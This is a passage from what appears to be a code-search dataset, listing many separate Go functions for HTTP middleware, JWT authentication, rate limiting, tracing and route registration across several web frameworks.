v.Email,\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn jwt.MapClaims{}\n\t\t},\n\t\tIdentityHandler: func(c *gin.Context) interface{} {\n\t\t\tclaims := jwt.ExtractClaims(c)\n\n\t\t\tid, _ := primitive.ObjectIDFromHex(claims[a.IdentityKey].(string))\n\n\t\t\tc.Set(\"managerID\", claims[a.IdentityKey].(string))\n\n\t\t\treturn drepository.Manager{\n\t\t\t\tID: id,\n\t\t\t\tEmail: claims[\"email\"].(string),\n\t\t\t}\n\t\t},\n\t\tAuthenticator: func(c *gin.Context) (interface{}, error) {\n\t\t\tvar loginValues login\n\n\t\t\tif err := c.ShouldBind(&loginValues); err != nil {\n\t\t\t\treturn \"\", jwt.ErrMissingLoginValues\n\t\t\t}\n\n\t\t\tfind := &dto.FindManagers{Email: loginValues.Email}\n\t\t\tmanager := drepository.Manager{}\n\t\t\t_ = manager.FindOne(find)\n\n\t\t\tif err := bcrypt.CompareHashAndPassword(\n\t\t\t\t[]byte(manager.Password), []byte(loginValues.Password)); err == nil {\n\t\t\t\treturn manager, nil\n\t\t\t}\n\n\t\t\treturn nil, jwt.ErrFailedAuthentication\n\t\t},\n\t\tAuthorizator: func(data interface{}, c *gin.Context) bool {\n\t\t\tif v, ok := data.(drepository.Manager); ok {\n\t\t\t\tc.Set(a.IdentityKey, v.ID)\n\t\t\t\tc.Set(\"email\", v.Email)\n\t\t\t\treturn true\n\t\t\t}\n\t\t\treturn false\n\t\t},\n\t\tUnauthorized: func(c *gin.Context, code int, message string) {\n\t\t\tc.JSON(code, gin.H{\n\t\t\t\t\"code\": code,\n\t\t\t\t\"message\": message,\n\t\t\t})\n\t\t},\n\n\t\tTokenLookup: \"header: Authorization, query: token, cookie: token\",\n\t\tTokenHeadName: \"Bearer\",\n\t\tTimeFunc: time.Now,\n\t})\n\n\tif err != nil {\n\t\tlog.Fatal(\"JWT Error:\" + err.Error())\n\t}\n\n\treturn middleware, err\n}","func Middleware(f MiddlewareFunc) {\n\tDefaultMux.Middleware(f)\n}","func Middleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tDebug.Println(\"Method received is :\", r.Method)\n\t\tswitch m := r.Method; string(m) {\n\t\t//On get method token verification is skipped\n\t\tcase \"GET\":\n\t\t\tInfo.Println(\"On Get Method, no authentication needed\")\n\t\t\t//Authorization process on middleware not needed, head on to request handlers\n\t\t\tnext.ServeHTTP(w, r)\n\t\t//Verify token for the following methods\n\t\tcase \"POST\", \"PUT\", \"DELETE\":\n\t\t\tsentToken := r.Header.Get(\"Authorization\")\n\t\t\tInfo.Println(\"Checking token\", sentToken)\n\t\t\tauthError := simpleAuth(w, r)\n\t\t\tif authError != \"\" {\n\t\t\t\tNotAuthorized(w, r)\n\t\t\t\tInfo.Println(\"Not token given ! \")\n\t\t\t} else {\n\t\t\t\t//Authorization process on middleware level done, head on to request handlers\n\t\t\t\tnext.ServeHTTP(w, r)\n\t\t\t}\n\t\t//In case a non defined http method is sent\n\t\tdefault:\n\t\t\tfmt.Print(\"not here \")\n\t\t\tw.Write([]byte(\"Not a supported http method\"))\n\t\t\t//Error.Fatal(\"Not a supported method ! \")\n\t\t}\n\t\tInfo.Println(\"End of middle level...\")\n\t})\n}","func UseMiddleware(mw ...Middleware) func(http.HandlerFunc) http.Handler {\n\treturn func(fn http.HandlerFunc) http.Handler {\n\t\treturn useMiddlewareHandler(fn, mw...)\n\t}\n}","func (e *Engine) Middleware(middleware ...Handler) *Middleware {\n\treturn &Middleware{\n\t\tchain: middleware,\n\t\tengine: e,\n\t}\n}","func Middleware(\n\tenv *Env,\n) func(http.Handler) http.Handler {\n\treturn func(h http.Handler) http.Handler {\n\t\treturn middleware{h, env}\n\t}\n}","func InitMiddleware() *Middleware {\n\treturn &Middleware{}\n}","func ChainMiddleware(mw ...Middleware) Middleware {\n\treturn func(final Handler) Handler {\n\t\treturn func(ctx context.Context, req Request) Response {\n\t\t\tlast := final\n\t\t\tfor i := len(mw) - 1; i >= 0; i-- {\n\t\t\t\tlast = mw[i](last)\n\t\t\t}\n\n\t\t\t// last middleware\n\t\t\treturn last(ctx, req)\n\t\t}\n\t}\n}","func ChainMiddleware(mw ...Middleware) Middleware {\n\treturn func(final Handler) Handler {\n\t\treturn func(ctx context.Context, req Request) Response {\n\t\t\tlast := final\n\t\t\tfor i := len(mw) - 1; i >= 0; i-- {\n\t\t\t\tlast = mw[i](last)\n\t\t\t}\n\n\t\t\t// last middleware\n\t\t\treturn last(ctx, req)\n\t\t}\n\t}\n}","func (s *Subrouter) HandleMiddlewares(m, p string, mids ...interface{}) {\n\tk := s.prefix + resolvedPath(p)\n\n\ts.initEndp(k)\n\n\tfor _, mid := range mids {\n\t\tif h, ok := mid.(http.Handler); ok {\n\t\t\ts.endps[k][m] = append(s.endps[k][m], h)\n\n\t\t\tcontinue\n\t\t}\n\n\t\tif hfunc, ok := mid.(func(http.ResponseWriter, *http.Request)); ok {\n\t\t\ts.endps[k][m] = append(s.endps[k][m], http.HandlerFunc(hfunc))\n\t\t}\n\t}\n}","func WithMiddleware(middleware Middleware, rs ...Route) []Route {\n\troutes := make([]Route, len(rs))\n\n\tfor i := range rs {\n\t\troute := rs[i]\n\t\troutes[i] = Route{\n\t\t\tMethod: route.Method,\n\t\t\tPath: route.Path,\n\t\t\tHandler: middleware(route.Handler),\n\t\t}\n\t}\n\n\treturn routes\n}","func getAppsHandler(w http.ResponseWriter, r *http.Request) {\n\tvar apps []App\n\terr := getApps(&apps)\n\tcheck(err)\n\trespondWithResult(w, apps)\n}","func (controller *WidgetsController) GetRoutes() []string {\n\treturn []string{\n\t\t\"api/widgets\",\n\t}\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn responseLoggingMiddleware(handler)\n}","func composeMiddleware(middlewares ...*Middleware) *Middleware {\n\treturn &Middleware{\n\t\tAPI: func(h http.Handler) http.Handler {\n\t\t\tfor _, m := range middlewares {\n\t\t\t\th = m.API(h)\n\t\t\t}\n\t\t\treturn h\n\t\t},\n\t\tApp: func(h http.Handler) http.Handler {\n\t\t\tfor _, m := range middlewares {\n\t\t\t\th = m.App(h)\n\t\t\t}\n\t\t\treturn h\n\t\t},\n\t}\n}","func FiberMiddleware(a *fiber.App) {\n\ta.Use(\n\t\t// Add CORS to each route.\n\t\tcors.New(cors.Config{\n\t\t\tAllowCredentials: true,\n\t\t}),\n\t\t// Add simple logger.\n\t\tlogger.New(),\n\t\t// Add helmet to secure app by setting various HTTP headers\n\t\thelmet.New(),\n\t\t// Add rate limiting\n\t\tlimiter.New(\n\t\t\tlimiter.Config{\n\t\t\t\tMax: 200,\n\t\t\t\tNext: func(c *fiber.Ctx) bool {\n\t\t\t\t\t\n\t\t\t\t\texcludePaths := []string{\"views\",\"scores\"}\n\t\t\t\t\tvar next bool\n\t\t\t\t\tfor _, path := range excludePaths{\n\t\t\t\t\t\tnext = strings.Contains(c.Route().Path, path)\n\t\t\t\t\t}\n\t\t\t\t\treturn next\n\t\t\t\t},\n\t\t\t},\n\t\t),\n\t)\n}","func (router *Router) Handlers() gin.HandlersChain {\n\treturn router.currentRouter.Handlers\n}","func AuthMiddleware() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tauthHeader := c.GetHeader(\"authorization\")\n\t\tif authHeader == \"\" || len(authHeader) < len(\"Token\")+1 {\n\t\t\trestErr := resterror.NewUnAuthorizedError()\n\t\t\tc.JSON(restErr.StatusCode, restErr)\n\t\t\tc.Abort()\n\t\t\treturn\n\t\t}\n\n\t\ttoken := authHeader[len(\"Token \"):]\n\n\t\tauthService := services.JWTAuthService()\n\t\tresult, err := authService.ValidateToken(token)\n\t\tif err != nil || !result.Valid {\n\t\t\trestErr := resterror.NewUnAuthorizedError()\n\t\t\tc.JSON(restErr.StatusCode, restErr)\n\t\t\tc.Abort()\n\t\t\treturn\n\t\t}\n\n\t\tclaims := result.Claims.(jwt.MapClaims)\n\t\tc.Set(\"user_id\", claims[\"user_id\"])\n\t\tc.Set(\"is_admin\", claims[\"is_admin\"])\n\n\t\tc.Next()\n\t}\n}","func GetRoutes() *httprouter.Router {\n\trouter := httprouter.New()\n\t///////////////////////////////////////////////////////////\n\t// Main application routes\n\t///////////////////////////////////////////////////////////\n\n\tapplication := controllers.Application{}\n\trouter.GET(\"/\", route(application.Index))\n\trouter.GET(\"/api/products\", route(application.AllProducts))\n\trouter.GET(\"/api/products/match\", route(application.Match))\n\n\t///////////////////////////////////////////////////////////\n\t// Static routes\n\t// Caching Static files\n\t///////////////////////////////////////////////////////////\n\tfileServer := http.FileServer(http.Dir(\"public\"))\n\trouter.GET(\"/static/*filepath\", gzip.Middleware(func(res http.ResponseWriter, req *http.Request, pm httprouter.Params) {\n\t\tres.Header().Set(\"Vary\", \"Accept-Encoding\")\n\t\tres.Header().Set(\"Cache-Control\", \"public, max-age=7776000\")\n\t\treq.URL.Path = pm.ByName(\"filepath\")\n\t\tfileServer.ServeHTTP(res, req)\n\t}))\n\treturn router\n}","func Default() Middleware {\n\treturn defaultMiddleware\n}","func ChainMiddleware(f http.Handler, middlewares ...Middleware) http.Handler {\n\tfor _, m := range middlewares {\n\t\tf = m(f)\n\t}\n\treturn f\n}","func handleMiddlewares(ctx context.Context, m []Middlewarer) error {\n\tfor i := 0; i < len(m); i++ {\n\t\tif err := m[i].Do(ctx); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func Middleware(ce *casbin.Enforcer, sc DataSource) echo.MiddlewareFunc {\n\tc := DefaultConfig\n\tc.Enforcer = ce\n\tc.Source = sc\n\treturn MiddlewareWithConfig(c)\n}","func GetAuthMiddleware(cfg *types.Config) gin.HandlerFunc {\n\tif !cfg.OIDCEnable {\n\t\treturn gin.BasicAuth(gin.Accounts{\n\t\t\t// Use the config's username and password for basic auth\n\t\t\tcfg.Username: cfg.Password,\n\t\t})\n\t}\n\treturn CustomAuth(cfg)\n}","func (r *Router) Middlewares(middlewares Middlewares) *Router {\n\tr.middlewares = middlewares\n\n\treturn r\n}","func Middleware(next http.Handler) http.Handler {\n\t// requests that go through it.\n\treturn nethttp.Middleware(opentracing.GlobalTracer(),\n\t\tnext,\n\t\tnethttp.OperationNameFunc(func(r *http.Request) string {\n\t\t\treturn \"HTTP \" + r.Method + \" \" + r.URL.String()\n\t\t}))\n}","func Middleware(e *echo.Echo) {\n\te.Use(\n\t\tmiddleware.Logger(),\n\t\tmiddleware.Recover(),\n\t\tcontext.InjectBezuncAPIContext,\n\t)\n}","func (m *Middleware) Middleware(middleware ...Handler) *Middleware {\n\treturn &Middleware{\n\t\tchain: append(m.chain, middleware...),\n\t\tengine: m.engine,\n\t}\n}","func ChainMiddlewares(middlewares []Middleware, handler http.HandlerFunc) http.HandlerFunc {\n\tmiddlewaresCount := len(middlewares)\n\tfor i := middlewaresCount - 1; i >= 0; i-- {\n\t\thandler = middlewares[i](handler)\n\t}\n\treturn handler\n}","func Middleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif app != nil {\n\t\t\ttxn := app.StartTransaction(r.URL.Path, w, r)\n\t\t\tfor k, v := range r.URL.Query() {\n\t\t\t\ttxn.AddAttribute(k, strings.Join(v, \",\"))\n\t\t\t}\n\t\t\tdefer txn.End()\n\t\t}\n\t\tnext.ServeHTTP(w, r)\n\t})\n}","func (r *Routing) Middleware(middleware ...Middleware) *Routing {\n\tr.middleware = middleware\n\treturn r\n}","func chainMiddleware(mw ...Middleware) Middleware {\n\treturn func(final http.HandlerFunc) http.HandlerFunc {\n\t\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\t\tlast := final\n\t\t\tfor i := len(mw) - 1; i >= 0; i-- {\n\t\t\t\tlast = mw[i](last)\n\t\t\t}\n\t\t\tlast(w, r)\n\t\t}\n\t}\n}","func Middleware(store sessions.Store) echo.MiddlewareFunc {\n\tc := DefaultConfig\n\tc.Store = store\n\treturn MiddlewareWithConfig(c)\n}","func GetRoutes() *mux.Router {\n\trouter := mux.NewRouter()\n\trouter.HandleFunc(\"/api/V1/getInfoCurp/{encode_curp}\", getInfoCurp).Name(\"getInfoCurp\").Methods(\"GET\")\n\treturn router\n}","func Chain(f http.HandlerFunc, middlewares ...Middleware) http.HandlerFunc {\n for _, middleware := range(middlewares) {\n f = middleware(f)\n }\n return f\n}","func FindTokenMiddleware() func(next http.Handler) http.Handler {\n\treturn func(next http.Handler) http.Handler {\n\t\t// functions which find `iam` token\n\t\tfindTokenFns := []findTokenFn{iamTokenFromHeader(\"Authorization\"), iamTokenFromQuery,\n\t\t\tiamTokenFromCookie, iamTokenFromHeader(\"iam\")}\n\t\tfn := func(w http.ResponseWriter, r *http.Request) {\n\t\t\tvar token string\n\t\t\tfor _, fn := range findTokenFns {\n\t\t\t\ttoken = fn(r)\n\t\t\t\tif token != \"\" {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif token == \"\" {\n\t\t\t\tjsend.Wrap(w).Message(ErrNoTokenFound.Error()).Status(http.StatusUnauthorized).Send()\n\t\t\t} else {\n\t\t\t\tctx := context.WithValue(r.Context(), RequestContext(\"token\"), token)\n\t\t\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t\t\t}\n\t\t}\n\t\treturn http.HandlerFunc(fn)\n\t}\n}","func Middleware(next http.Handler, options MiddlewareOptions) http.Handler {\n\treturn &ipFilteringMiddleware{IpFiltering: New(options.Options), options: options, next: next}\n}","func getControllerRPCHandler(anonymous bool) http.Handler {\n\tvar mwHandlers = []MiddlewareHandler{\n\t\tTimeValidityHandler,\n\t}\n\tif !anonymous {\n\t\tmwHandlers = append(mwHandlers, RPCSignatureHandler)\n\t}\n\n\ts := jsonrpc.NewServer()\n\tcodec := json.NewCodec()\n\ts.RegisterCodec(codec, \"application/json\")\n\ts.RegisterCodec(codec, \"application/json; charset=UTF-8\")\n\ts.RegisterService(new(controllerRPCService), \"Controller\")\n\tmux := router.NewRouter()\n\t// Add new RPC services here\n\tmux.Handle(\"/rpc\", s)\n\tmux.Handle(\"/{file:.*}\", http.FileServer(assetFS()))\n\n\trpcHandler := registerCustomMiddleware(mux, mwHandlers...)\n\treturn rpcHandler\n}"],"string":"[\n \"func GetControllers() []CreateControllerFunc {\\n\\treturn handlers\\n}\",\n \"func Middlewares() []def.Middleware {\\n\\treturn []def.Middleware{}\\n}\",\n \"func (c *DefaultApiController) Middleware() func(http.Handler) http.Handler {\\n\\treturn c.middleware\\n}\",\n \"func (mx *Mux) Middlewares() Middlewares {\\n\\treturn mx.middlewares.Items\\n}\",\n \"func (h *RateLimit) GetMiddlewares(rawConfig map[string]interface{}, referenceSpec *api.Spec) ([]router.Constructor, error) {\\n\\tvar rateLimitConfig rateLimitConfig\\n\\terr := mapstructure.Decode(rawConfig, &rateLimitConfig)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\trate, err := limiter.NewRateFromFormatted(rateLimitConfig.Limit)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tlimiterStore, err := h.getLimiterStore(rateLimitConfig.Policy, referenceSpec.Name)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tlimiterInstance := limiter.NewLimiter(limiterStore, rate)\\n\\treturn []router.Constructor{\\n\\t\\tmiddleware.NewRateLimitLogger(limiterInstance, h.statsClient).Handler,\\n\\t\\tlimiter.NewHTTPMiddleware(limiterInstance).Handler,\\n\\t}, nil\\n}\",\n \"func getAllMiddleware(router http.Handler, logger *logrus.Logger) http.Handler {\\n\\treturn newCorsMiddleware(\\n\\t\\tsetContextMiddleware(\\n\\t\\t\\ttracingMiddleware( // generate request_id and context\\n\\t\\t\\t\\tnewRecoveryMiddleware(logger)( // recover from panic()\\n\\t\\t\\t\\t\\tloggingMiddleware(logger)(\\n\\t\\t\\t\\t\\t\\tnewRelicRecorder(\\n\\t\\t\\t\\t\\t\\t\\trouter,\\n\\t\\t\\t\\t\\t\\t),\\n\\t\\t\\t\\t\\t),\\n\\t\\t\\t\\t),\\n\\t\\t\\t),\\n\\t\\t),\\n\\t)\\n}\",\n \"func NewMiddlewares(cfg *Config, log *zap.Logger) []abcmiddleware.MiddlewareFunc {\\n\\tm := abcmiddleware.Middleware{\\n\\t\\tLog: log,\\n\\t}\\n\\n\\tmiddlewares := []abcmiddleware.MiddlewareFunc{}\\n\\n\\t// Display \\\"abcweb dev\\\" build errors in the browser.\\n\\tif !cfg.Server.ProdLogger {\\n\\t\\tmiddlewares = append(middlewares, web.ErrorChecker)\\n\\t}\\n\\n\\t// Injects a request ID into the context of each request\\n\\tmiddlewares = append(middlewares, chimiddleware.RequestID)\\n\\n\\t// Creates the derived request ID logger and sets it in the context object.\\n\\t// Use middleware.Log(r) to retrieve it from the context object for usage in\\n\\t// other middleware injected below this one, and in your controllers.\\n\\tmiddlewares = append(middlewares, m.RequestIDLogger)\\n\\n\\t// Graceful panic recovery that uses zap to log the stack trace\\n\\tmiddlewares = append(middlewares, m.Recover)\\n\\n\\t// Use zap logger for all routing\\n\\tmiddlewares = append(middlewares, m.Zap)\\n\\n\\t// Sets response headers to prevent clients from caching\\n\\tif cfg.Server.AssetsNoCache {\\n\\t\\tmiddlewares = append(middlewares, chimiddleware.NoCache)\\n\\t}\\n\\n\\treturn middlewares\\n}\",\n \"func (a *Application) getHandler() func(ctx *fasthttp.RequestCtx) {\\n\\tif len(a.routers) == 1 {\\n\\t\\treturn a.defaultRouter.Handler\\n\\t}\\n\\n\\treturn a.Handler\\n}\",\n \"func Middleware(next HandlerFunc) http.Handler {\\n\\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\\n\\t\\tsession, _ := GetCurrentSession(r)\\n\\t\\tnext(session, w, r)\\n\\t})\\n}\",\n \"func (s *AppServer) Handlers() []Middleware {\\n\\treturn s.AppRoute.handlers\\n}\",\n \"func (app *Application) Middlewares() {\\n\\t// apply your middlewares\\n\\n\\t// panic recovery\\n\\tapp.V1Use(\\\"*\\\", middlewares.Recovery())\\n\\tapp.V1Use(\\\"user\\\", middlewares.Session(app.Session()))\\n}\",\n \"func (app *App) GetHandler() http.Handler {\\n\\treturn app.router\\n}\",\n \"func (s *Service) GetMiddlewareCache(bizid int64) []*middleware.Aggregate {\\n\\treturn s.bizMiddlewareCache[bizid]\\n}\",\n \"func toMiddleware(m []interface{}) []MiddleWare {\\n\\tvar stack []MiddleWare\\n\\tif len(m) > 0 {\\n\\t\\tfor _, f := range m {\\n\\t\\t\\tswitch v := f.(type) {\\n\\t\\t\\tcase func(http.ResponseWriter, *http.Request):\\n\\t\\t\\t\\tstack = append(stack, mutate(http.HandlerFunc(v)))\\n\\t\\t\\tcase func(http.Handler) http.Handler:\\n\\t\\t\\t\\tstack = append(stack, v)\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\tfmt.Println(\\\"[x] [\\\", reflect.TypeOf(v), \\\"] is not a valid MiddleWare Type.\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn stack\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn handler\\n}\",\n \"func ActiveMiddleware(ctx iris.Context) {\\n\\tactive, err := isActive(ctx)\\n\\tif err != nil {\\n\\t\\tctx.StatusCode(http.StatusInternalServerError)\\n\\t\\tctx.JSON(jsonError{Error: err.Error()})\\n\\t\\tctx.StopExecution()\\n\\t\\treturn\\n\\t}\\n\\tif !active {\\n\\t\\tctx.StatusCode(http.StatusUnauthorized)\\n\\t\\tctx.JSON(jsonError{Error: \\\"Connexion requise\\\"})\\n\\t\\tctx.StopExecution()\\n\\t\\treturn\\n\\t}\\n\\tctx.Next()\\n}\",\n \"func GetAuthMiddleware(signingKey []byte) *jwtmiddleware.JWTMiddleware {\\n\\treturn jwtmiddleware.New(jwtmiddleware.Options{\\n\\t\\tValidationKeyGetter: func(token *jwt.Token) (interface{}, error) {\\n\\t\\t\\treturn signingKey, nil\\n\\t\\t},\\n\\t\\tSigningMethod: jwt.SigningMethodHS256,\\n\\t})\\n}\",\n \"func (ac *applicationController) GetRoutes() models.Routes {\\n\\troutes := models.Routes{\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: rootPath + \\\"/applications\\\",\\n\\t\\t\\tMethod: \\\"POST\\\",\\n\\t\\t\\tHandlerFunc: ac.RegisterApplication,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath,\\n\\t\\t\\tMethod: \\\"PUT\\\",\\n\\t\\t\\tHandlerFunc: ac.ChangeRegistrationDetails,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath,\\n\\t\\t\\tMethod: \\\"PATCH\\\",\\n\\t\\t\\tHandlerFunc: ac.ModifyRegistrationDetails,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: rootPath + \\\"/applications\\\",\\n\\t\\t\\tMethod: \\\"GET\\\",\\n\\t\\t\\tHandlerFunc: ac.ShowApplications,\\n\\t\\t\\tKubeApiConfig: models.KubeApiConfig{\\n\\t\\t\\t\\tQPS: 50,\\n\\t\\t\\t\\tBurst: 100,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: rootPath + \\\"/applications/_search\\\",\\n\\t\\t\\tMethod: \\\"POST\\\",\\n\\t\\t\\tHandlerFunc: ac.SearchApplications,\\n\\t\\t\\tKubeApiConfig: models.KubeApiConfig{\\n\\t\\t\\t\\tQPS: 100,\\n\\t\\t\\t\\tBurst: 100,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath,\\n\\t\\t\\tMethod: \\\"GET\\\",\\n\\t\\t\\tHandlerFunc: ac.GetApplication,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath,\\n\\t\\t\\tMethod: \\\"DELETE\\\",\\n\\t\\t\\tHandlerFunc: ac.DeleteApplication,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath + \\\"/pipelines\\\",\\n\\t\\t\\tMethod: \\\"GET\\\",\\n\\t\\t\\tHandlerFunc: ac.ListPipelines,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath + \\\"/pipelines/build\\\",\\n\\t\\t\\tMethod: \\\"POST\\\",\\n\\t\\t\\tHandlerFunc: ac.TriggerPipelineBuild,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath + \\\"/pipelines/build-deploy\\\",\\n\\t\\t\\tMethod: \\\"POST\\\",\\n\\t\\t\\tHandlerFunc: ac.TriggerPipelineBuildDeploy,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath + \\\"/pipelines/promote\\\",\\n\\t\\t\\tMethod: \\\"POST\\\",\\n\\t\\t\\tHandlerFunc: ac.TriggerPipelinePromote,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath + \\\"/pipelines/deploy\\\",\\n\\t\\t\\tMethod: \\\"POST\\\",\\n\\t\\t\\tHandlerFunc: ac.TriggerPipelineDeploy,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath + \\\"/deploykey-valid\\\",\\n\\t\\t\\tMethod: \\\"GET\\\",\\n\\t\\t\\tHandlerFunc: ac.IsDeployKeyValidHandler,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath + \\\"/deploy-key-and-secret\\\",\\n\\t\\t\\tMethod: \\\"GET\\\",\\n\\t\\t\\tHandlerFunc: ac.GetDeployKeyAndSecret,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath + \\\"/regenerate-machine-user-token\\\",\\n\\t\\t\\tMethod: \\\"POST\\\",\\n\\t\\t\\tHandlerFunc: ac.RegenerateMachineUserTokenHandler,\\n\\t\\t},\\n\\t\\tmodels.Route{\\n\\t\\t\\tPath: appPath + \\\"/regenerate-deploy-key\\\",\\n\\t\\t\\tMethod: \\\"POST\\\",\\n\\t\\t\\tHandlerFunc: ac.RegenerateDeployKeyHandler,\\n\\t\\t},\\n\\t}\\n\\n\\treturn routes\\n}\",\n \"func useMiddlewareHandler(h http.Handler, mw ...Middleware) http.Handler {\\n\\tfor i := range mw {\\n\\t\\th = mw[len(mw)-1-i](h)\\n\\t}\\n\\n\\treturn h\\n}\",\n \"func (client *Client) GetMiddlewareRules() ([]*mwRule.Rule, error) {\\n\\tresp, err := client.v3.Get(client.ctx, \\\"/eve/mwrules\\\", clientv3.WithPrefix())\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\trules := make([]*mwRule.Rule, 0, resp.Count)\\n\\tfor _, kv := range resp.Kvs {\\n\\t\\trule, err := client.parseMwRule(kv)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Print(\\\"Error: \\\", err)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\trules = append(rules, rule)\\n\\t}\\n\\treturn rules, nil\\n}\",\n \"func (zm *ZipkinMiddleware) GetMiddlewareHandler() func(http.ResponseWriter, *http.Request, http.HandlerFunc) {\\n\\treturn func(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) {\\n\\t\\twireContext, err := zm.tracer.Extract(\\n\\t\\t\\topentracing.TextMap,\\n\\t\\t\\topentracing.HTTPHeadersCarrier(r.Header),\\n\\t\\t)\\n\\t\\tif err != nil {\\n\\t\\t\\tcommon.ServerObj.Logger.Debug(\\\"Error encountered while trying to extract span \\\", zap.Error(err))\\n\\t\\t\\tnext(rw, r)\\n\\t\\t}\\n\\t\\tspan := zm.tracer.StartSpan(r.URL.Path, ext.RPCServerOption(wireContext))\\n\\t\\tdefer span.Finish()\\n\\t\\tctx := opentracing.ContextWithSpan(r.Context(), span)\\n\\t\\tr = r.WithContext(ctx)\\n\\t\\tnext(rw, r)\\n\\t}\\n}\",\n \"func ClearMiddlewares() {\\n\\tmiddlewares = []middlewareFunc{}\\n}\",\n \"func Middleware() echo.MiddlewareFunc {\\n\\tstats.Do(func() {\\n\\t\\tstats.init()\\n\\t})\\n\\treturn echo.WrapMiddleware(handlerFunc)\\n}\",\n \"func Middleware(fn AppHandler, c interface{}) AppHandler {\\n\\treturn func(w http.ResponseWriter, r *http.Request) *AppError {\\n\\t\\tr = r.WithContext(context.WithValue(r.Context(), \\\"env\\\", c))\\n\\t\\tr = r.WithContext(context.WithValue(r.Context(), \\\"vars\\\", mux.Vars(r)))\\n\\t\\treturn fn(w, r)\\n\\t}\\n}\",\n \"func Use(filter HandlerFunc) {\\n\\tApp.middlewares = append(App.middlewares, filter)\\n}\",\n \"func (r *Router) Middleware(handles ...HandleFunc) {\\n\\tr.middlewareList = append(r.middlewareList, handles...)\\n}\",\n \"func (s *ControllerPool) GetControllerMap() []string {\\n\\ts.mu.RLock()\\n\\tdefer s.mu.RUnlock()\\n\\treturn s.controllerMap\\n}\",\n \"func NewMiddleware(backend TokenIntrospecter) *Middleware {\\n\\treturn &Middleware{Backend: backend}\\n}\",\n \"func Middleware(next http.Handler) http.Handler {\\n\\tfn := func(w http.ResponseWriter, r *http.Request) {\\n\\t\\tappengineCtx := appengine.NewContext(r)\\n\\t\\tctx := context.WithValue(r.Context(), contextKeyContext, appengineCtx)\\n\\t\\tnext.ServeHTTP(w, r.WithContext(ctx))\\n\\t}\\n\\n\\treturn http.HandlerFunc(fn)\\n}\",\n \"func Middleware() routes.Middleware {\\n\\treturn sessionMiddleware{\\n\\t\\tsessions: 